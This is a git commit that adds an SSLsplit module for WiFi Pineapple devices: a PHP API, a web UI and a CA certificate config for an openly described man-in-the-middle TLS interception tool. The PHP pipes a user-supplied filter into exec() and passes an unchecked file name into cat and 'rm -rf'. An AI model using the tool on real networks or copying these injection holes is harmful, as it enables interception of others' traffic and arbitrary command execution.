mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
Add modules to repository
This commit is contained in:
344
SSLsplit/api/module.php
Normal file
344
SSLsplit/api/module.php
Normal file
@@ -0,0 +1,344 @@
|
||||
<?php namespace pineapple;
|
||||
putenv('LD_LIBRARY_PATH='.getenv('LD_LIBRARY_PATH').':/sd/lib:/sd/usr/lib');
|
||||
putenv('PATH='.getenv('PATH').':/sd/usr/bin:/sd/usr/sbin');
|
||||
|
||||
class SSLsplit extends Module
|
||||
{
|
||||
public function route()
|
||||
{
|
||||
switch ($this->request->action) {
|
||||
case 'refreshInfo':
|
||||
$this->refreshInfo();
|
||||
break;
|
||||
case 'refreshOutput':
|
||||
$this->refreshOutput();
|
||||
break;
|
||||
case 'refreshStatus':
|
||||
$this->refreshStatus();
|
||||
break;
|
||||
case 'toggleSSLsplit':
|
||||
$this->toggleSSLsplit();
|
||||
break;
|
||||
case 'handleDependencies':
|
||||
$this->handleDependencies();
|
||||
break;
|
||||
case 'handleDependenciesStatus':
|
||||
$this->handleDependenciesStatus();
|
||||
break;
|
||||
case 'refreshHistory':
|
||||
$this->refreshHistory();
|
||||
break;
|
||||
case 'viewHistory':
|
||||
$this->viewHistory();
|
||||
break;
|
||||
case 'deleteHistory':
|
||||
$this->deleteHistory();
|
||||
break;
|
||||
case 'downloadHistory':
|
||||
$this->downloadHistory();
|
||||
break;
|
||||
case 'toggleSSLsplitOnBoot':
|
||||
$this->toggleSSLsplitOnBoot();
|
||||
break;
|
||||
case 'handleCertificate':
|
||||
$this->handleCertificate();
|
||||
break;
|
||||
case 'handleCertificateStatus':
|
||||
$this->handleCertificateStatus();
|
||||
break;
|
||||
case 'saveConfigurationData':
|
||||
$this->saveConfigurationData();
|
||||
break;
|
||||
case 'getConfigurationData':
|
||||
$this->getConfigurationData();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
protected function checkDependency($dependencyName)
|
||||
{
|
||||
return ((exec("which {$dependencyName}") == '' ? false : true) && ($this->uciGet("sslsplit.module.installed")));
|
||||
}
|
||||
|
||||
protected function getDevice()
|
||||
{
|
||||
return trim(exec("cat /proc/cpuinfo | grep machine | awk -F: '{print $2}'"));
|
||||
}
|
||||
|
||||
protected function refreshInfo()
|
||||
{
|
||||
$moduleInfo = @json_decode(file_get_contents("/pineapple/modules/SSLsplit/module.info"));
|
||||
$this->response = array('title' => $moduleInfo->title, 'version' => $moduleInfo->version);
|
||||
}
|
||||
|
||||
private function handleCertificate()
|
||||
{
|
||||
if(!file_exists("/pineapple/modules/SSLsplit/cert/certificate.crt"))
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/SSLsplit/scripts/generate_certificate.sh");
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
else
|
||||
{
|
||||
exec("rm -rf /pineapple/modules/SSLsplit/cert/certificate.*");
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
}
|
||||
|
||||
private function handleCertificateStatus()
|
||||
{
|
||||
if (!file_exists('/tmp/SSLsplit_certificate.progress'))
|
||||
{
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = array('success' => false);
|
||||
}
|
||||
}
|
||||
|
||||
private function handleDependencies()
|
||||
{
|
||||
if(!$this->checkDependency("sslsplit"))
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/SSLsplit/scripts/dependencies.sh install ".$this->request->destination);
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/SSLsplit/scripts/dependencies.sh remove");
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
}
|
||||
|
||||
private function handleDependenciesStatus()
|
||||
{
|
||||
if (!file_exists('/tmp/SSLsplit.progress'))
|
||||
{
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = array('success' => false);
|
||||
}
|
||||
}
|
||||
|
||||
private function toggleSSLsplitOnBoot()
|
||||
{
|
||||
if(exec("cat /etc/rc.local | grep SSLsplit/scripts/autostart_sslsplit.sh") == "")
|
||||
{
|
||||
exec("sed -i '/exit 0/d' /etc/rc.local");
|
||||
exec("echo /pineapple/modules/SSLsplit/scripts/autostart_sslsplit.sh >> /etc/rc.local");
|
||||
exec("echo exit 0 >> /etc/rc.local");
|
||||
}
|
||||
else
|
||||
{
|
||||
exec("sed -i '/SSLsplit\/scripts\/autostart_sslsplit.sh/d' /etc/rc.local");
|
||||
}
|
||||
}
|
||||
|
||||
private function toggleSSLsplit()
|
||||
{
|
||||
if(!$this->checkRunning("sslsplit"))
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/SSLsplit/scripts/sslsplit.sh start");
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/SSLsplit/scripts/sslsplit.sh stop");
|
||||
}
|
||||
}
|
||||
|
||||
private function refreshStatus()
|
||||
{
|
||||
if (!file_exists('/tmp/SSLsplit.progress'))
|
||||
{
|
||||
if(!$this->checkDependency("sslsplit"))
|
||||
{
|
||||
$installed = false;
|
||||
$install = "Not installed";
|
||||
$installLabel = "danger";
|
||||
$processing = false;
|
||||
|
||||
$status = "Start";
|
||||
$statusLabel = "success";
|
||||
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$installed = true;
|
||||
$install = "Installed";
|
||||
$installLabel = "success";
|
||||
$processing = false;
|
||||
|
||||
if ($this->checkRunning("sslsplit"))
|
||||
{
|
||||
$status = "Stop";
|
||||
$statusLabel = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$status = "Start";
|
||||
$statusLabel = "success";
|
||||
}
|
||||
|
||||
if(exec("cat /etc/rc.local | grep SSLsplit/scripts/autostart_sslsplit.sh") == "")
|
||||
{
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$bootLabelON = "success";
|
||||
$bootLabelOFF = "default";
|
||||
}
|
||||
}
|
||||
|
||||
if (!file_exists('/tmp/SSLsplit_certificate.progress'))
|
||||
{
|
||||
if(!file_exists("/pineapple/modules/SSLsplit/cert/certificate.crt"))
|
||||
{
|
||||
$certificate = "Not generated";
|
||||
$certificateLabel = "danger";
|
||||
$generated = false;
|
||||
$generating = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
$certificate = "Generated";
|
||||
$certificateLabel = "success";
|
||||
$generated = true;
|
||||
$generating = false;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$certificate = "Generating...";
|
||||
$certificateLabel = "warning";
|
||||
$generated = false;
|
||||
$generating = true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$installed = false;
|
||||
$install = "Installing...";
|
||||
$installLabel = "warning";
|
||||
$processing = true;
|
||||
|
||||
$status = "Start";
|
||||
$statusLabel = "success";
|
||||
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
|
||||
$certificate = "Not generated";
|
||||
$certificateLabel = "danger";
|
||||
$generating = false;
|
||||
}
|
||||
|
||||
$device = $this->getDevice();
|
||||
$sdAvailable = $this->isSDAvailable();
|
||||
|
||||
$this->response = array("device" => $device, "sdAvailable" => $sdAvailable, "status" => $status, "statusLabel" => $statusLabel, "installed" => $installed,
|
||||
"certificate" => $certificate, "certificateLabel" => $certificateLabel, "generating" => $generating, "generated" => $generated,
|
||||
"install" => $install, "installLabel" => $installLabel,
|
||||
"bootLabelON" => $bootLabelON, "bootLabelOFF" => $bootLabelOFF, "processing" => $processing);
|
||||
}
|
||||
|
||||
private function refreshOutput()
|
||||
{
|
||||
if($this->checkDependency("sslsplit"))
|
||||
{
|
||||
if ($this->checkRunning("sslsplit"))
|
||||
{
|
||||
if(file_exists("/pineapple/modules/SSLsplit/connections.log"))
|
||||
{
|
||||
if ($this->request->filter != "")
|
||||
{
|
||||
$filter = $this->request->filter;
|
||||
|
||||
$cmd = "cat /pineapple/modules/SSLsplit/connections.log"." | ".$filter;
|
||||
}
|
||||
else
|
||||
{
|
||||
$cmd = "cat /pineapple/modules/SSLsplit/connections.log";
|
||||
}
|
||||
|
||||
exec ($cmd, $output);
|
||||
if(!empty($output))
|
||||
$this->response = implode("\n", array_reverse($output));
|
||||
else
|
||||
$this->response = "Empty connections log...";
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = "No connections log...";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = "SSLsplit is not running...";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = "SSLsplit is not installed...";
|
||||
}
|
||||
}
|
||||
|
||||
private function refreshHistory()
|
||||
{
|
||||
$this->streamFunction = function () {
|
||||
$log_list = array_reverse(glob("/pineapple/modules/SSLsplit/log/*"));
|
||||
|
||||
echo '[';
|
||||
for($i=0;$i<count($log_list);$i++)
|
||||
{
|
||||
$info = explode("_", basename($log_list[$i]));
|
||||
$entryDate = gmdate('Y-m-d H-i-s', $info[1]);
|
||||
$entryName = basename($log_list[$i]);
|
||||
|
||||
echo json_encode(array($entryDate, $entryName));
|
||||
|
||||
if($i!=count($log_list)-1) echo ',';
|
||||
}
|
||||
echo ']';
|
||||
};
|
||||
}
|
||||
|
||||
private function viewHistory()
|
||||
{
|
||||
$log_date = gmdate("F d Y H:i:s", filemtime("/pineapple/modules/SSLsplit/log/".$this->request->file));
|
||||
exec ("cat /pineapple/modules/SSLsplit/log/".$this->request->file, $output);
|
||||
|
||||
if(!empty($output))
|
||||
$this->response = array("output" => implode("\n", $output), "date" => $log_date);
|
||||
else
|
||||
$this->response = array("output" => "Empty log...", "date" => $log_date);
|
||||
}
|
||||
|
||||
private function deleteHistory()
|
||||
{
|
||||
exec("rm -rf /pineapple/modules/SSLsplit/log/".$this->request->file);
|
||||
}
|
||||
|
||||
private function downloadHistory()
|
||||
{
|
||||
$this->response = array("download" => $this->downloadFile("/pineapple/modules/SSLsplit/log/".$this->request->file));
|
||||
}
|
||||
|
||||
private function saveConfigurationData()
|
||||
{
|
||||
$filename = '/pineapple/modules/SSLsplit/rules/iptables';
|
||||
file_put_contents($filename, $this->request->configurationData);
|
||||
}
|
||||
|
||||
private function getConfigurationData()
|
||||
{
|
||||
$configurationData = file_get_contents('/pineapple/modules/SSLsplit/rules/iptables');
|
||||
$this->response = array("configurationData" => $configurationData);
|
||||
}
|
||||
}
|
||||
15
SSLsplit/cert/openssl.cnf
Normal file
15
SSLsplit/cert/openssl.cnf
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# OpenSSL configuration file.
|
||||
#
|
||||
|
||||
dir = .
|
||||
|
||||
[ req ]
|
||||
distinguished_name = reqdn
|
||||
|
||||
[ reqdn ]
|
||||
|
||||
[ v3_ca ]
|
||||
basicConstraints = CA:TRUE
|
||||
subjectKeyIdentifier = hash
|
||||
authorityKeyIdentifier = keyid:always,issuer:always
|
||||
329
SSLsplit/js/module.js
Normal file
329
SSLsplit/js/module.js
Normal file
@@ -0,0 +1,329 @@
|
||||
registerController('SSLsplit_Controller', ['$api', '$scope', '$rootScope', '$interval', '$timeout', function($api, $scope, $rootScope, $interval, $timeout) {
|
||||
$scope.title = "Loading...";
|
||||
$scope.version = "Loading...";
|
||||
|
||||
$scope.refreshInfo = (function() {
|
||||
$api.request({
|
||||
module: 'SSLsplit',
|
||||
action: "refreshInfo"
|
||||
}, function(response) {
|
||||
$scope.title = response.title;
|
||||
$scope.version = "v"+response.version;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.refreshInfo();
|
||||
|
||||
}]);
|
||||
|
||||
registerController('SSLsplit_ControlsController', ['$api', '$scope', '$rootScope', '$interval', '$timeout', function($api, $scope, $rootScope, $interval, $timeout) {
|
||||
$scope.status = "Loading...";
|
||||
$scope.statusLabel = "default";
|
||||
$scope.verbose = false;
|
||||
$scope.starting = false;
|
||||
|
||||
$scope.install = "Loading...";
|
||||
$scope.installLabel = "default";
|
||||
$scope.processing = false;
|
||||
|
||||
$scope.certificate = "Loading...";
|
||||
$scope.certificateLabel = "default";
|
||||
$scope.generating = false;
|
||||
|
||||
$scope.bootLabelON = "default";
|
||||
$scope.bootLabelOFF = "default";
|
||||
|
||||
$scope.device = '';
|
||||
$scope.sdAvailable = false;
|
||||
|
||||
$rootScope.status = {
|
||||
installed : false,
|
||||
generated : false,
|
||||
refreshOutput : false,
|
||||
refreshHistory : false
|
||||
};
|
||||
|
||||
$scope.refreshStatus = (function() {
|
||||
$api.request({
|
||||
module: "SSLsplit",
|
||||
action: "refreshStatus"
|
||||
}, function(response) {
|
||||
$scope.status = response.status;
|
||||
$scope.statusLabel = response.statusLabel;
|
||||
$scope.verbose = response.verbose;
|
||||
|
||||
$rootScope.status.installed = response.installed;
|
||||
$scope.device = response.device;
|
||||
$scope.sdAvailable = response.sdAvailable;
|
||||
if(response.processing) $scope.processing = true;
|
||||
$scope.install = response.install;
|
||||
$scope.installLabel = response.installLabel;
|
||||
|
||||
$rootScope.status.generated = response.generated;
|
||||
$scope.certificate = response.certificate;
|
||||
if(response.generating) $scope.generating = true;
|
||||
$scope.certificateLabel = response.certificateLabel;
|
||||
|
||||
$scope.bootLabelON = response.bootLabelON;
|
||||
$scope.bootLabelOFF = response.bootLabelOFF;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.handleCertificate = (function() {
|
||||
if($scope.certificate != "Generated")
|
||||
$scope.certificate = "Generating...";
|
||||
else
|
||||
$scope.certificate = "Removing...";
|
||||
|
||||
$api.request({
|
||||
module: 'SSLsplit',
|
||||
action: 'handleCertificate'
|
||||
}, function(response){
|
||||
if (response.success === true) {
|
||||
$scope.certificateLabel = "warning";
|
||||
$scope.generating = true;
|
||||
|
||||
$scope.handleCertificateInterval = $interval(function(){
|
||||
$api.request({
|
||||
module: 'SSLsplit',
|
||||
action: 'handleCertificateStatus'
|
||||
}, function(response) {
|
||||
if (response.success === true){
|
||||
$scope.generating = false;
|
||||
$interval.cancel($scope.handleCertificateInterval);
|
||||
$scope.refreshStatus();
|
||||
}
|
||||
});
|
||||
}, 5000);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.toggleSSLsplit = (function() {
|
||||
if($scope.status != "Stop")
|
||||
$scope.status = "Starting...";
|
||||
else
|
||||
$scope.status = "Stopping...";
|
||||
|
||||
$scope.statusLabel = "warning";
|
||||
$scope.starting = true;
|
||||
|
||||
$rootScope.status.refreshOutput = false;
|
||||
$rootScope.status.refreshHistory = false;
|
||||
|
||||
$api.request({
|
||||
module: 'SSLsplit',
|
||||
action: 'toggleSSLsplit',
|
||||
verbose: $scope.verbose
|
||||
}, function(response) {
|
||||
$timeout(function(){
|
||||
$rootScope.status.refreshOutput = true;
|
||||
$rootScope.status.refreshHistory = true;
|
||||
|
||||
$scope.starting = false;
|
||||
$scope.refreshStatus();
|
||||
}, 2000);
|
||||
})
|
||||
});
|
||||
|
||||
$scope.toggleSSLsplitOnBoot = (function() {
|
||||
if($scope.bootLabelON == "default")
|
||||
{
|
||||
$scope.bootLabelON = "success";
|
||||
$scope.bootLabelOFF = "default";
|
||||
}
|
||||
else
|
||||
{
|
||||
$scope.bootLabelON = "default";
|
||||
$scope.bootLabelOFF = "danger";
|
||||
}
|
||||
|
||||
$api.request({
|
||||
module: 'SSLsplit',
|
||||
action: 'toggleSSLsplitOnBoot',
|
||||
}, function(response) {
|
||||
$scope.refreshStatus();
|
||||
})
|
||||
});
|
||||
|
||||
$scope.handleDependencies = (function(param) {
|
||||
if(!$rootScope.status.installed)
|
||||
$scope.install = "Installing...";
|
||||
else
|
||||
$scope.install = "Removing...";
|
||||
|
||||
$api.request({
|
||||
module: 'SSLsplit',
|
||||
action: 'handleDependencies',
|
||||
destination: param
|
||||
}, function(response){
|
||||
if (response.success === true) {
|
||||
$scope.installLabel = "warning";
|
||||
$scope.processing = true;
|
||||
|
||||
$scope.handleDependenciesInterval = $interval(function(){
|
||||
$api.request({
|
||||
module: 'SSLsplit',
|
||||
action: 'handleDependenciesStatus'
|
||||
}, function(response) {
|
||||
if (response.success === true){
|
||||
$scope.processing = false;
|
||||
$scope.refreshStatus();
|
||||
$interval.cancel($scope.handleDependenciesInterval);
|
||||
}
|
||||
});
|
||||
}, 5000);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.refreshStatus();
|
||||
|
||||
}]);
|
||||
|
||||
registerController('SSLsplit_OutputController', ['$api', '$scope', '$rootScope', '$interval', function($api, $scope, $rootScope, $interval) {
|
||||
$scope.output = 'Loading...';
|
||||
$scope.filter = '';
|
||||
|
||||
$scope.refreshLabelON = "default";
|
||||
$scope.refreshLabelOFF = "danger";
|
||||
|
||||
$scope.refreshOutput = (function() {
|
||||
$api.request({
|
||||
module: "SSLsplit",
|
||||
action: "refreshOutput",
|
||||
filter: $scope.filter
|
||||
}, function(response) {
|
||||
$scope.output = response;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.clearFilter = (function() {
|
||||
$scope.filter = '';
|
||||
$scope.refreshOutput();
|
||||
});
|
||||
|
||||
$scope.toggleAutoRefresh = (function() {
|
||||
if($scope.autoRefreshInterval)
|
||||
{
|
||||
$interval.cancel($scope.autoRefreshInterval);
|
||||
$scope.autoRefreshInterval = null;
|
||||
$scope.refreshLabelON = "default";
|
||||
$scope.refreshLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$scope.refreshLabelON = "success";
|
||||
$scope.refreshLabelOFF = "default";
|
||||
|
||||
$scope.autoRefreshInterval = $interval(function(){
|
||||
$scope.refreshOutput();
|
||||
}, 5000);
|
||||
}
|
||||
});
|
||||
|
||||
$scope.refreshOutput();
|
||||
|
||||
$rootScope.$watch('status.refreshOutput', function(param) {
|
||||
if(param) {
|
||||
$scope.refreshOutput();
|
||||
}
|
||||
});
|
||||
|
||||
}]);
|
||||
|
||||
registerController('SSLsplit_HistoryController', ['$api', '$scope', '$rootScope', function($api, $scope, $rootScope) {
|
||||
$scope.history = [];
|
||||
$scope.historyOutput = 'Loading...';
|
||||
$scope.historyDate = 'Loading...';
|
||||
|
||||
$scope.refreshHistory = (function() {
|
||||
$api.request({
|
||||
module: "SSLsplit",
|
||||
action: "refreshHistory"
|
||||
}, function(response) {
|
||||
$scope.history = response;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.viewHistory = (function(param) {
|
||||
$api.request({
|
||||
module: "SSLsplit",
|
||||
action: "viewHistory",
|
||||
file: param
|
||||
}, function(response) {
|
||||
$scope.historyOutput = response.output;
|
||||
$scope.historyDate = response.date;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.deleteHistory = (function(param) {
|
||||
$api.request({
|
||||
module: "SSLsplit",
|
||||
action: "deleteHistory",
|
||||
file: param
|
||||
}, function(response) {
|
||||
$scope.refreshHistory();
|
||||
})
|
||||
});
|
||||
|
||||
$scope.downloadHistory = (function(param) {
|
||||
$api.request({
|
||||
module: 'SSLsplit',
|
||||
action: 'downloadHistory',
|
||||
file: param
|
||||
}, function(response) {
|
||||
if (response.error === undefined) {
|
||||
window.location = '/api/?download=' + response.download;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.refreshHistory();
|
||||
|
||||
$rootScope.$watch('status.refreshHistory', function(param) {
|
||||
if(param) {
|
||||
$scope.refreshHistory();
|
||||
}
|
||||
});
|
||||
|
||||
}]);
|
||||
|
||||
registerController('SSLsplit_ConfigurationController', ['$api', '$scope', '$timeout', function($api, $scope, $timeout) {
|
||||
$scope.configurationData = '';
|
||||
$scope.saveConfigurationLabel = "primary";
|
||||
$scope.saveConfiguration = "Save";
|
||||
$scope.saving = false;
|
||||
|
||||
$scope.saveConfigurationData = (function() {
|
||||
$scope.saveConfigurationLabel = "warning";
|
||||
$scope.saveConfiguration = "Saving...";
|
||||
$scope.saving = true;
|
||||
|
||||
$api.request({
|
||||
module: 'SSLsplit',
|
||||
action: 'saveConfigurationData',
|
||||
configurationData: $scope.configurationData
|
||||
}, function(response) {
|
||||
$scope.saveConfigurationLabel = "success";
|
||||
$scope.saveConfiguration = "Saved";
|
||||
|
||||
$timeout(function(){
|
||||
$scope.saveConfigurationLabel = "primary";
|
||||
$scope.saveConfiguration = "Save";
|
||||
$scope.saving = false;
|
||||
}, 2000);
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfigurationData = (function() {
|
||||
$api.request({
|
||||
module: 'SSLsplit',
|
||||
action: 'getConfigurationData'
|
||||
}, function(response) {
|
||||
$scope.configurationData = response.configurationData;
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfigurationData();
|
||||
}]);
|
||||
167
SSLsplit/module.html
Normal file
167
SSLsplit/module.html
Normal file
@@ -0,0 +1,167 @@
|
||||
<div class="panel panel-default" ng-controller="SSLsplit_Controller"><div class="panel-heading"><h4 class="panel-title pull-left">{{title}}</h4><span class="pull-right">{{version}}</span><div class="clearfix"></div></div></div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<div class="panel panel-default" ng-controller="SSLsplit_ControlsController">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">Controls</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<table style="width:100%">
|
||||
<tr>
|
||||
<td style="padding-bottom: .5em;" class="text-muted">Dependencies</td>
|
||||
<td ng-hide="$root.status.installed" style="text-align:right;padding-bottom: .5em;"><button type="button" style="width: 90px;" class="btn btn-{{installLabel}} btn-xs" data-toggle="modal" data-target="#dependenciesInstallModal" ng-disabled="processing">{{install}}</button></td>
|
||||
<td ng-show="$root.status.installed" style="text-align:right;padding-bottom: .5em;"><button type="button" style="width: 90px;" class="btn btn-{{installLabel}} btn-xs" data-toggle="modal" data-target="#dependenciesRemoveModal" ng-disabled="processing">{{install}}</button></td>
|
||||
</tr>
|
||||
<tr ng-show="$root.status.installed">
|
||||
<td style="padding-bottom: .5em;" class="text-muted">Certificate</td>
|
||||
<td style="text-align:right;padding-bottom: .5em;"><button type="button" style="width: 90px;" class="btn btn-{{certificateLabel}} btn-xs" ng-disabled="generating" ng-click="handleCertificate()">{{certificate}}</button></td>
|
||||
</tr>
|
||||
<tr ng-show="$root.status.installed && $root.status.generated">
|
||||
<td style="padding-bottom: .5em;" class="text-muted">SSLsplit</td>
|
||||
<td style="text-align:right;padding-bottom: .5em;"><button type="button" style="width: 90px;" class="btn btn-{{statusLabel}} btn-xs" ng-disabled="starting" ng-click="toggleSSLsplit()">{{status}}</button></td>
|
||||
</tr>
|
||||
<tr ng-show="$root.status.installed && $root.status.generated">
|
||||
<td style="padding-bottom: .5em;" class="text-muted">Start on boot</td>
|
||||
<td style="text-align:right;padding-bottom: .5em;">
|
||||
<div class="btn-group">
|
||||
<button ng-click="toggleSSLsplitOnBoot()" class="btn btn-xs btn-{{bootLabelON}}">ON</button>
|
||||
<button ng-click="toggleSSLsplitOnBoot()" class="btn btn-xs btn-{{bootLabelOFF}}">OFF</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="modal fade" id="dependenciesInstallModal" tabindex="-1" role="dialog" aria-labelledby="dependenciesModalLabel">
|
||||
<div class="modal-dialog" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||
<h4 class="modal-title" id="dependenciesInstallModalLabel">Install dependencies</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
All required dependencies have to be installed first. This may take a few minutes.<br /><br />
|
||||
Please wait, do not leave or refresh this page. Once the install is complete, this page will refresh automatically.
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-info" ng-click="handleDependencies('internal')" data-dismiss="modal">Internal</button>
|
||||
<button type="button" class="btn btn-info" ng-hide="device == 'tetra' || sdAvailable == false" ng-click="handleDependencies('sd')" data-dismiss="modal">SD Card</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="modal fade" id="dependenciesRemoveModal" tabindex="-1" role="dialog" aria-labelledby="dependenciesModalLabel">
|
||||
<div class="modal-dialog" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||
<h4 class="modal-title" id="dependenciesRemoveModalLabel">Remove dependencies</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
All required dependencies will be removed. This may take a few minutes.<br /><br />
|
||||
Please wait, do not leave or refresh this page. Once the remove is complete, this page will refresh automatically.
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
|
||||
<button type="button" class="btn btn-info" ng-click="handleDependencies()" data-dismiss="modal">Confirm</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed && $root.status.generated" ng-controller="SSLsplit_ConfigurationController">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#Configuration">
|
||||
<h4 class="panel-title">Configuration</h4>
|
||||
</div>
|
||||
<div id="Configuration" class="panel-collapse collapse">
|
||||
<div class="panel-body">
|
||||
<button type="submit" class="btn btn-{{saveConfigurationLabel}} btn-sm pull-right" ng-disabled="saving" ng-click="saveConfigurationData()">{{saveConfiguration}}</button><div class="clearfix"></div>
|
||||
<form class="form-horizontal">
|
||||
<textarea class="form-control" rows="20" ng-model="configurationData"></textarea>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed && $root.status.generated" ng-controller="SSLsplit_OutputController">
|
||||
<div class="panel-heading">
|
||||
<h4 class="panel-title pull-left">Output</h4>
|
||||
<div class="pull-right">
|
||||
Auto-refresh <div class="btn-group">
|
||||
<button ng-click="toggleAutoRefresh()" class="btn btn-xs btn-{{refreshLabelON}}">ON</button>
|
||||
<button ng-click="toggleAutoRefresh()" class="btn btn-xs btn-{{refreshLabelOFF}}">OFF</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="input-group">
|
||||
<span class="input-group-addon input-sm">Filter</span>
|
||||
<input type="text" class="form-control input-sm" placeholder="Piped commands used to filter output (e.g. grep, awk)" ng-model="filter">
|
||||
<div class="input-group-btn">
|
||||
<button class="btn btn-default btn-sm" ng-click="clearFilter()">Clear Filter</button>
|
||||
<button class="btn btn-primary btn-sm" ng-click="refreshOutput()">Refresh Log</button>
|
||||
</div>
|
||||
</div>
|
||||
<pre class="scrollable-pre log-pre">{{output}}</pre>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed && $root.status.generated" ng-controller="SSLsplit_HistoryController">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#History">
|
||||
<h4 class="panel-title">History <span class="badge">{{history.length}}</span></h4>
|
||||
</div>
|
||||
<div id="History" class="panel-collapse collapse">
|
||||
<div class="panel-body">
|
||||
<button class="btn btn-primary btn-sm pull-right" ng-click="refreshHistory()">Refresh History</button><div class="clearfix"></div>
|
||||
<div class="table-responsive">
|
||||
<table class="table table-striped table-bordered table-hover" ng-hide="(history.length == 0)">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Date</th>
|
||||
<th>Action</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="entry in history" ng-if="entry != ''">
|
||||
<td>{{entry[0]}}</td>
|
||||
<td>
|
||||
<div class="btn-group">
|
||||
<button type="button" class="btn btn-fixed-length btn-sm btn-default" data-toggle="modal" data-target="#historyModal" ng-click="viewHistory(entry[1])">View</button>
|
||||
<button type="button" class="btn btn-sm btn-default" ng-click="downloadHistory(entry[1])">Download</button>
|
||||
<button type="button" class="btn btn-fixed-length btn-sm btn-danger" ng-click="deleteHistory(entry[1])">Delete</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<div class="well" ng-show="(history.length === 0)">No history...</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="modal fade" id="historyModal" tabindex="-1" role="dialog" aria-labelledby="historyModalLabel">
|
||||
<div class="modal-dialog modal-lg" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||
<h4 class="modal-title" id="historyModalLabel">View History - {{historyDate}}</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<pre class="scrollable-pre log-pre">{{historyOutput}}</pre>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
10
SSLsplit/module.info
Normal file
10
SSLsplit/module.info
Normal file
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"author": "Whistle Master",
|
||||
"description": "Perform man-in-the-middle attacks using SSLsplit",
|
||||
"devices": [
|
||||
"nano",
|
||||
"tetra"
|
||||
],
|
||||
"title": "SSLsplit",
|
||||
"version": "1.0"
|
||||
}
|
||||
17
SSLsplit/rules/iptables
Executable file
17
SSLsplit/rules/iptables
Executable file
@@ -0,0 +1,17 @@
|
||||
##################################################################
|
||||
